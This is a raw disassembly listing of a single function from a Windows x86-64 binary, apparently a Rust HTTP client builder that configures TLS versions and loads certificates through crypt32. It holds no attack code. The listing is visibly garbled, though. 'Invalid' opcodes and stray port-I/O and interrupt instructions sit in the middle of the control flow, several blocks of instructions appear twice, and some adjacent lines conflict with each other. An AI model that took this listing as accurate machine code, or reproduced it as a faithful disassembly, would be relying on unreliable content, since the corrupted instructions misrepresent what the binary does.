mov edx, 0x80
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140052453
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov qword [rax + 0x20], 0
mov dword [rax + 0x38], 0x3b9aca00
mov qword [rax + 0x40], 0
mov dword [rax + 0x48], 0x11e1a300
mov dword [rax + 0x58], 0x3b9aca00
mov word [rax + 0x60], 1
mov byte [rax + 0x66], 0
mov word [rax + 0x77], 0
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x150], r13
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x158], rax
mov rsi, qword [r14 + 0xc0]
mov edi, dword [r14 + 0xc8]
lea rcx, [rsp + 0x148]
call fcn.140052850
mov qword [rax + 0x20], rsi
mov dword [rax + 0x28], edi
mov qword [rsp + 0x68], 0
mov word [rsp + 0x94], 0x501
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 8
mov qword [rsp + 0x88], 0
mov byte [rsp + 0x91], 0
movzx eax, byte [r14 + 0x170]
xor al, 1
mov byte [rsp + 0x90], al
movzx eax, byte [r14 + 0x171]
mov byte [rsp + 0x92], al
movzx eax, byte [r14 + 0x175]
xor al, 1
mov byte [rsp + 0x93], al
mov rdi, qword [r14 + 0x90]
mov rbx, qword [r14 + 0x98]
mov r15, qword [r14 + 0xa0]
test r15, r15
je 0x140050fdd
lea r12, [rsp + 0x78]
shl r15, 3
mov eax, 8
xor r13d, r13d
xor ecx, ecx
jmp 0x140050fb8
mov qword [rax + rcx*8], rsi
inc rcx
mov qword [rsp + 0x88], rcx
add r13, 8
cmp r15, r13
je 0x140050fdd
mov rsi, qword [rbx + r13]
cmp rcx, qword [rsp + 0x78]
jne 0x140050fa0
mov rcx, r12
call fcn.1400cf300
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
jmp 0x140050fa0
test rdi, rdi
je 0x140050ff4
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [r14 + 0x193]
mov r12b, 1
lea rcx, [0x140174594]
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
mov al, 1
mov rdi, qword [rsp + 0x48]
movzx r13d, byte [rsp + 0x60]
jmp rdx
mov al, 2
mov byte [rsp + 0x94], al
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14013f4e7]
lea rdx, [0x1401745a8]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14013f4e7]
lea rdx, [0x1401745a8]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov al, 3
mov byte [rsp + 0x94], al
movzx eax, byte [r14 + 0x194]
lea rcx, [0x14013f4e7]
insb byte [rdi], dx
in al, 0xe
add byte [rax - 0x73], cl
adc eax, 0x123526
insb byte [rdi], dx
in al, 0xe
add byte [rax - 0x73], cl
adc eax, 0x123526
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov r12b, 2
jmp case.0x140051089.0
lea rcx, str.invalid_minimum_TLS_version_for_backendinvalid_maximum_TLS_version_for_backendinternal_error:_entered_unreachable_code:_hickory_dns_shouldnt_be_enabled_unless_the_feature_is
mov edx, 0x27
call fcn.140052a10
mov r12, rax
cmp qword [rsp + 0x68], 0
mov r15, qword [rsp + 0x50]
je 0x1400510bf
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rbx, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
test rsi, rsi
je 0x1400510ef
xor edi, edi
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax]
mov rcx, qword [rbx + rdi*8]
inc rdi
call r14
cmp rsi, rdi
jne 0x1400510e0
cmp qword [rsp + 0x78], 0
je 0x140051109
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x148]
lock dec qword [rax]
mov rsi, qword [rsp + 0x48]
jne 0x140051129
mov rcx, qword [rsp + 0x148]
call fcn.140036760
mov rax, qword [rsp + 0x150]
lock dec qword [rax]
mov r14, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0x140]
jne 0x1400515ba
mov ecx, dword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
pop rax
add dword [rax], eax
add cl, ch
push rbp
add al, 0
invalid
pop rax
add dword [rax], eax
add cl, ch
push rbp
add al, 0
add byte [rdi + rcx - 0x4a], al
movzx r12d, byte [rsp + 0x95]
jmp 0x140051176
mov r12b, 3
mov byte [rsp + 0x95], r12b
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x68]
movzx r12d, byte [rsp + 0x95]
jmp 0x140051176
mov r12b, 3
mov byte [rsp + 0x95], r12b
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb0], rax
mov rsi, qword [rsp + 0x78]
mov r13, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
movq xmm6, qword [rsp + 0x90]
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x37], al
lock inc qword [rdi]
jle 0x140052300
movups xmm0, xmmword [0x14013f618]
movaps xmmword [rsp + 0xe0], xmm0
movdqu xmm0, xmmword [0x14013f608]
movdqa xmmword [rsp + 0xd0], xmm0
lea rdx, [rsp + 0xd0]
mov rcx, r14
call fcn.140022f90
mov rbx, rax
mov rax, qword [rsp + 0xd0]
test rax, rax
je 0x14005124c
lea rcx, [rsp + 0xe8]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
call qword [rax + 0x10]
test rbx, rbx
je 0x140051295
mov rdx, rbx
add rdx, 0x18
mov rax, qword [rbx]
mov r8, qword [rbx + 8]
mov r9, qword [rbx + 0x10]
lea rcx, [rsp + 0xd0]
call qword [rax]
movzx eax, byte [rbx + 0x20]
movdqu xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x1f0], xmm1
movdqa xmmword [rsp + 0x1e0], xmm0
jmp 0x140051297
mov al, 2
mov byte [rsp + 0x1c8], al
mov byte [rsp + 0x200], al
movzx eax, byte [r14 + 0x182]
mov dword [rsp + 0xc8], eax
mov eax, dword [r14 + 0x183]
mov dword [rsp + 0xcc], eax
movzx ebx, byte [r14 + 0x176]
movzx eax, byte [r14 + 0x17e]
mov byte [rsp + 0x35], al
cmp qword [rsp + 0x58], 0
mov byte [rsp + 0x36], r12b
je 0x140051308
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x138], rax
mov eax, 1
mov qword [rsp + 0x130], rax
jmp 0x140051312
xor eax, eax
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x108], rsi
mov qword [rsp + 0x20], 0
mov ecx, 2
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.crypt32.dll_CertOpenStore]
test rax, rax
je 0x14005143a
mov r12, rax
mov byte [rsp + 0x47], bl
mov qword [rsp + 0x238], rbp
test r15, r15
je 0x1400513bb
lea rdi, [r15*8]
xor ebp, ebp
lea rbx, [rsp + 0xd0]
mov r14, qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov qword [rsp + 0xd0], 0
mov rdx, qword [r13 + rbp]
mov rcx, r12
mov r8d, 3
mov r9, rbx
call r14
test eax, eax
je 0x14005177d
mov rcx, qword [rsp + 0xd0]
call rsi
add rbp, 8
cmp rdi, rbp
jne 0x140051380
movups xmm0, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
mov eax, dword [rsp + 0xc8]
cmp eax, 2
je 0x1400517c1
test eax, eax
mov r14, qword [rsp + 0xb8]
movzx ebp, byte [rsp + 0x35]
jne 0x1400517d4
mov sil, 1
xor edi, edi
jmp 0x1400517f5
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
mov rsi, rbp
cmp qword [rsp + 0x58], 0
mov rcx, qword [rsp + 0x138]
je 0x14005145b
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140052471
mov rbp, rax
shl rbx, 0x20
or rbx, 2
mov qword [rax], rbx
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140052480
mov r12, rax
movabs rax, 0x8000000000000000
mov qword [r12], rax
mov qword [r12 + 0x58], rbp
lea rax, [0x140139c80]
mov qword [r12 + 0x60], rax
mov word [r12 + 0x68], 0
cmp byte [rsp + 0x1c8], 2
mov rbx, qword [rsp + 0x140]
jne 0x1400514f8
lock dec qword [rdi]
mov rbp, rsi
jne 0x140051524
mov rcx, rdi
call fcn.140052af0
cmp qword [rsp + 0x58], 0
jne 0x14005152c
jmp 0x14005153a
lea rcx, [rsp + 0x1f8]
mov rax, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
call qword [rax + 0x10]
lock dec qword [rdi]
mov rbp, rsi
je 0x1400514e6
cmp qword [rsp + 0x58], 0
je 0x14005153a
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test r15, r15
je 0x14005155f
xor esi, esi
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax + rax]
mov rcx, qword [r13 + rsi*8]
inc rsi
call rdi
cmp r15, rsi
jne 0x140051550
cmp qword [rsp + 0x108], 0
je 0x14005157c
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x1d0]
lock dec qword [rcx]
jne 0x14005158f
call fcn.140036760
mov rcx, qword [rsp + 0x1d8]
lock dec qword [rcx]
mov rsi, qword [rsp + 0x48]
mov r15, qword [rsp + 0x50]
movzx r13d, byte [rsp + 0x60]
jne 0x1400515ba
mov rdx, qword [rsp + 0x128]
call fcn.1400049d0
lock dec qword [r15]
jne 0x1400515cd
mov rcx, r15
mov rdx, qword [rsp + 0x38]
call fcn.1400049d0
lock dec qword [rsi]
jne 0x1400515db
mov rcx, rsi
call fcn.140052af0
test rbp, rbp
setne bpl
mov rcx, r14
call fcn.1400524f0
cmp qword [r14 + 0x60], 0
jne 0x140051622
mov rdi, qword [r14 + 0x68]
mov rsi, qword [r14 + 0x70]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140051622
cmp qword [rsi + 0x10], 0x11
jb 0x140051610
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x140051686
mov r15, rbx
mov rdi, qword [r14 + 0x98]
mov rsi, qword [r14 + 0xa0]
test rsi, rsi
je 0x14005165f
xor ebx, ebx
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov rcx, qword [rdi + rbx*8]
inc rbx
call r14
cmp rsi, rbx
jne 0x140051650
mov r14, qword [rsp + 0xb8]
cmp qword [r14 + 0x90], 0
mov rbx, r15
je 0x140051686
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
or eax, dword [rax]
test rbx, rbx
jne 0x1400516fd
mov rdi, qword [r14 + 0x158]
test rdi, rdi
je 0x1400516fd
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x1400516cd
mov rsi, qword [rdi + 0x60]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
invalid
je 0x1400516cd
cmp qword [rsi + 0x10], 0x11
jb 0x1400516bb
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
shl rax, 1
test rax, rax
je 0x1400516eb
mov r8, qword [rdi + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test r13b, r13b
je 0x14005170e
lea rcx, [r14 + 0x120]
call fcn.140002250
mov rcx, qword [r14 + 0x160]
test rcx, rcx
sete al
or bpl, al
mov eax, 1
jne 0x140051744
lock dec qword [rcx]
jne 0x140051744
mov rcx, qword [r14 + 0x160]
mov rdx, qword [r14 + 0x168]
mov rsi, rax
call fcn.1400049d0
mov rax, rsi
mov rdx, r12
movaps xmm6, xmmword [rsp + 0x390]
movaps xmm7, xmmword [rsp + 0x3a0]
movaps xmm8, xmmword [rsp + 0x3b0]
movaps xmm9, xmmword [rsp + 0x3c0]
add rsp, 0x3d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
mov rcx, r12
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov r14, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0x238]
mov rdi, qword [rsp + 0x48]
mov rsi, rbp
cmp qword [rsp + 0x58], 0
mov rcx, qword [rsp + 0x138]
jne 0x140051455
jmp 0x14005145b
xor esi, esi
xor edi, edi
mov r14, qword [rsp + 0xb8]
movzx ebp, byte [rsp + 0x35]
jmp 0x1400517f5
lea rax, [r14 + 0x187]
mov ecx, dword [rax + 8]
mov dword [rsp + 0xd8], ecx
mov rax, qword [rax]
mov qword [rsp + 0xd0], rax
mov dil, 1
xor esi, esi
lea rbx, [rsp + 0x110]
mov rcx, rbx
call fcn.140052850
mov byte [rax + 0x51], sil
mov ecx, dword [rsp + 0xcc]
mov dword [rax + 0x52], ecx
mov byte [rax + 0x56], dil
mov dword [rax + 0x57], ecx
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 0x5b], rcx
mov ecx, dword [rsp + 0xd8]
mov dword [rax + 0x63], ecx
mov rcx, rbx
call fcn.140052850
mov byte [rax + 0x67], bpl
mov rcx, rbx
call fcn.140052850
mov byte [rax + 0x50], 0
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movups xmmword [rsp + 0xd4], xmm0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xf4], rax
movups xmmword [rsp + 0xe4], xmm1
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x250], rax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0xec]
mov qword [rsp + 0x1ac], rax
mov rax, qword [rsp + 0xf4]
mov qword [rsp + 0x1b4], rax
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x1a0], xmm0
movdqu xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x190], xmm0
cmp qword [rsp + 0x58], 0
je 0x1400518f0
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test r15, r15
movzx ebx, byte [rsp + 0x47]
je 0x14005191f
xor esi, esi
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov rcx, qword [r13 + rsi*8]
inc rsi
call rdi
cmp r15, rsi
jne 0x140051910
cmp qword [rsp + 0x108], 0
je 0x14005193c
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x280], r12
pxor xmm0, xmm0
punpcklbw xmm6, xmm0
pshuflw xmm0, xmm6, 0xc6
packuswb xmm0, xmm0
movd dword [rsp + 0x288], xmm0
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x28c], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x28d], al
movaps xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x290], xmm0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x2a0], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmm1, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0x2b4], xmm0
movdqu xmmword [rsp + 0x2c4], xmm1
movdqu xmm0, xmmword [rsp + 0x1ac]
movdqu xmmword [rsp + 0x2d0], xmm0
mov eax, dword [rsp + 0x233]
mov dword [rsp + 0x2eb], eax
movzx eax, byte [rsp + 0x237]
mov byte [rsp + 0x2ef], al
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x278], rax
mov dword [rsp + 0x2b0], 0x3b9aca00
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x2e0], rax
mov byte [rsp + 0x2e8], 0
mov byte [rsp + 0x2e9], bpl
mov byte [rsp + 0x2ea], bl
mov rcx, qword [rsp + 0x50]
lock dec qword [rcx]
jne 0x140051a4b
mov rdx, qword [rsp + 0x38]
call fcn.1400049d0
mov rax, qword [r14 + 0xc0]
mov ecx, dword [r14 + 0xc8]
mov qword [rsp + 0x2a8], rax
mov dword [rsp + 0x2b0], ecx
movzx eax, byte [r14 + 0x172]
mov byte [rsp + 0x2e8], al
cmp byte [r14 + 0x181], 1
sete bpl
cmp dword [r14 + 0xa8], 0
mov r12d, 0x200000
je 0x140051a9a
mov r12d, dword [r14 + 0xac]
cmp dword [r14 + 0xb0], 0
mov ecx, 0x500000
je 0x140051ab0
mov ecx, dword [r14 + 0xb4]
movzx eax, byte [r14 + 0x17c]
mov byte [rsp + 0x140], al
test al, al
mov eax, 0xffff
cmovne r12d, eax
cmovne ecx, eax
mov dword [rsp + 0x50], ecx
cmp dword [r14 + 0xb8], 0
mov eax, 0x4000
je 0x140051ae7
mov eax, dword [r14 + 0xbc]
mov dword [rsp + 0xb0], eax
mov eax, dword [r14 + 0x108]
mov dword [rsp + 0x108], eax
mov eax, dword [r14 + 0x118]
mov rbx, r14
xor r14d, r14d
cmp eax, 0x3b9aca00
cmove eax, r14d
mov dword [rsp + 0x138], eax
mov eax, 0x14
cmovne rax, qword [rbx + 0x110]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rbx + 0x100]
mov qword [rsp + 0x1c8], rax
movzx eax, byte [rbx + 0x17d]
mov byte [rsp + 0x1d8], al
mov r13, qword [rbx + 0xd0]
mov eax, dword [rbx + 0xd8]
mov dword [rsp + 0xc8], eax
mov rax, qword [rbx + 0x150]
mov qword [rsp + 0x38], rax
mov rsi, qword [rbx + 0xe0]
mov edi, dword [rbx + 0xe8]
lea rcx, [rsp + 0x290]
call fcn.140052850
mov qword [rax + 0x40], rsi
mov dword [rax + 0x48], edi
movzx eax, byte [rbx + 0x177]
mov byte [rsp + 0x35], al
movzx eax, byte [rbx + 0x178]
mov byte [rsp + 0x37], al
movzx eax, byte [rbx + 0x179]
mov byte [rsp + 0x130], al
movzx eax, byte [rbx + 0x17a]
mov byte [rsp + 0x36], al
movzx eax, byte [rbx + 0x17b]
mov byte [rsp + 0xcc], al
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx + 0x20]
test rax, rax
je case.0x140051c27.4
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
jns 0x140051bf7
mov rdi, qword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rbx, [rcx + rax*8]
add rbx, rdi
sti
sti
lea r15, [0x1401745bc]
lea edi, [0x1401745bc]
pcmpeqd xmm6, xmm6
jbe 0x140051bee
imul bl
and byte [rsi + 0xf], ah
invalid
jmp 0x140051c1a
cmp byte [rdi + 0x50], 2
jne case.0x140051c27.4
jg 0x140051c53
add cl, byte [rdi]
test eax, esi
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rdi, 0x88
cmp rdi, rbx
je 0x140051cf7
test ch, bl
add byte [rax], al
invalid
test ch, bl
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rdi]
mov r14b, 1
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
mov rsi, qword [rdi + 8]
cmp qword [rsi + 0x28], 0
je case.0x140051c27.2
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov r9d, 4
lea r8, [0x14016efab]
call fcn.140052b50
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov edx, dword [rsi + 0x18]
mov r8, rax
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
and rax, rdx
movdqu xmm1, xmmword [rcx + rax]
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb r9d, xmm2
test r9d, r9d
jne 0x140051cc0
pcmpeqb xmm1, xmm6
pmovmskb r9d, xmm1
test r9d, r9d
jne case.0x140051c27.2
add rax, r8
add rax, 0x10
add r8, 0x10
jmp 0x140051c73
lea r10d, [r9 - 1]
and r10d, r9d
mov r9d, r10d
test r10w, r10w
je 0x140051c8d
tzcnt r10d, r9d
add r10, rax
and r10, rdx
neg r10
imul r10, r10, 0x68
cmp qword [rcx + r10 - 0x58], 4
jne 0x140051cb0
add r10, rcx
mov r11, qword [r10 - 0x60]
cmp dword [r11], 0x70747468
je 0x140051d58
je 0x140051d58
jne 0x140051cb0
cmp byte [r10 - 8], 2
je case.0x140051c27.2
jmp case.0x140051c27.4
xor r14d, r14d
cmp qword [rsp + 0x38], 0
mov byte [rsp + 0x60], bpl
mov dword [rsp + 0x58], r12d
je 0x140051d53
mov rsi, r13
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
je 0x140051d5a
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xa8]
mov r15, qword [rax + 0xb0]
lea r13, [rdi + 1]
jmp 0x140051d99
xor ebx, ebx
jmp 0x140051ebd
add byte [rax], al
call fcn.140027330
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xa8]
mov r15, qword [rax + 0xb0]
lea r13, [rdi + 1]
mov qword [rax + 0xa8], r13
cmp qword [rax + 0xa0], 0
je 0x140052302
lea rbp, [r13 + 1]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xa8], rbp
mov qword [rsp + 0x128], r15
mov r12, r15
lea rax, [rbp + 1]
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xa8], rax
movzx eax, byte [0x14017d2b0]
mov edx, 0xd8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14005249e
mov rbx, rax
mov ecx, dword [rsp + 0xc8]
test ecx, ecx
mov eax, 0x3b9aca00
cmovne eax, ecx
test rsi, rsi
cmovne eax, ecx
cmp ecx, 0x3b9aca00
cmove eax, ecx
mov qword [rbx], 1
mov qword [rbx + 8], 1
mov word [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
movdqu xmm0, xmmword [0x140148950]
movdqu xmmword [rbx + 0x28], xmm0
movdqu xmm1, xmmword [0x140148960]
movdqu xmmword [rbx + 0x38], xmm1
mov qword [rbx + 0x48], rdi
mov qword [rbx + 0x50], r15
movdqu xmmword [rbx + 0x58], xmm0
movdqu xmmword [rbx + 0x68], xmm1
mov qword [rbx + 0x78], r13
mov rcx, qword [rsp + 0x128]
mov qword [rbx + 0x80], rcx
movdqu xmmword [rbx + 0x88], xmm0
movdqu xmmword [rbx + 0x98], xmm1
mov qword [rbx + 0xa8], rbp
mov qword [rbx + 0xb0], r12
mov rcx, qword [rsp + 0x38]
mov qword [rbx + 0xb8], rcx
mov qword [rbx + 0xc0], 0
mov qword [rbx + 0xc8], rsi
mov dword [rbx + 0xd0], eax
movups xmm0, xmmword [rsp + 0x2e0]
movups xmmword [rsp + 0x380], xmm0
movups xmm0, xmmword [rsp + 0x2d0]
movups xmmword [rsp + 0x370], xmm0
movups xmm0, xmmword [rsp + 0x2c0]
movups xmmword [rsp + 0x360], xmm0
movups xmm0, xmmword [rsp + 0x2b0]
movups xmmword [rsp + 0x350], xmm0
movups xmm0, xmmword [rsp + 0x270]
movups xmm1, xmmword [rsp + 0x280]
movups xmm2, xmmword [rsp + 0x290]
movups xmm3, xmmword [rsp + 0x2a0]
movups xmmword [rsp + 0x340], xmm3
movups xmmword [rsp + 0x330], xmm2
movups xmmword [rsp + 0x320], xmm1
movups xmmword [rsp + 0x310], xmm0
mov rsi, qword [rsp + 0xb8]
movzx edi, byte [rsi + 0x174]
mov r15, qword [rsi + 0xf0]
mov r13d, dword [rsi + 0xf8]
movzx ebp, byte [rsi + 0x180]
movzx eax, byte [0x14017d2b0]
mov edx, 0x1c0
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14005248f
mov r12, rax
mov qword [rax], 1
mov qword [rax + 8], 1
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], 0
mov rax, qword [rsp + 0x1d0]
mov qword [r12 + 0x40], rax
mov eax, dword [rsp + 0x138]
mov dword [r12 + 0x48], eax
mov rax, qword [rsp + 0x1c8]
mov qword [r12 + 0x50], rax
mov eax, dword [rsp + 0x108]
mov dword [r12 + 0x58], eax
mov qword [r12 + 0x60], 0x100000
mov eax, dword [rsp + 0x50]
mov dword [r12 + 0x68], eax
mov eax, dword [rsp + 0x58]
mov dword [r12 + 0x6c], eax
mov eax, dword [rsp + 0xb0]
mov dword [r12 + 0x70], eax
movzx eax, byte [rsp + 0x140]
mov byte [r12 + 0x74], al
movzx eax, byte [rsp + 0x1d8]
mov byte [r12 + 0x75], al
mov qword [r12 + 0x78], 0
movzx eax, byte [rsp + 0x35]
mov byte [r12 + 0x88], al
movzx eax, byte [rsp + 0xcc]
mov byte [r12 + 0x89], al
movzx eax, byte [rsp + 0x130]
mov byte [r12 + 0x8a], al
mov word [r12 + 0x8b], 0
movzx eax, byte [rsp + 0x36]
mov byte [r12 + 0x8d], al
movzx eax, byte [rsp + 0x37]
mov byte [r12 + 0x8e], al
mov word [r12 + 0x8f], 0
mov byte [r12 + 0x91], 2
mov rcx, r12
add rcx, 0x92
lea rdx, [rsp + 0x30a]
mov r8d, 0x86
call sub.VCRUNTIME140.dll_memcpy
mov qword [r12 + 0x118], rbx
mov word [r12 + 0x120], 0x101
movzx eax, byte [rsp + 0x60]
mov byte [r12 + 0x122], al
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movdqu xmm2, xmmword [rsi + 0x20]
movq mm2, qword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [r12 + 0x128], xmm0
movups xmmword [r12 + 0x138], xmm1
movdqu xmmword [r12 + 0x148], xmm2
movups xmmword [r12 + 0x158], xmm3
movups xmm0, xmmword [rsi + 0x40]
movups xmmword [r12 + 0x168], xmm0
movups xmm0, xmmword [rsi + 0x50]
movups xmmword [r12 + 0x178], xmm0
movdqu xmm0, xmmword [rsi + 0x60]
movdqu xmmword [r12 + 0x188], xmm0
mov rax, qword [rsi + 0x70]
mov qword [r12 + 0x198], rax
mov qword [r12 + 0x1a0], r15
mov dword [r12 + 0x1a8], r13d
mov rax, qword [rsp + 0x48]
mov qword [r12 + 0x1b0], rax
mov byte [r12 + 0x1b8], dil
mov byte [r12 + 0x1b9], r14b
mov byte [r12 + 0x1ba], bpl
mov rdi, qword [rsi + 0x158]
test rdi, rdi
mov r14, rsi
mov r15, qword [rsp + 0x238]
je 0x1400521dd
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x1400521ad
mov rsi, qword [rdi + 0x60]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400521ad
cmp qword [rsi + 0x10], 0x11
jb 0x14005219b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
shl rax, 1
test rax, rax
je 0x1400521cb
mov r8, qword [rdi + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
jne 0x1400521f5
mov rcx, qword [rsp + 0x260]
call fcn.140002250
xor eax, eax
test r15, r15
jne 0x140051744
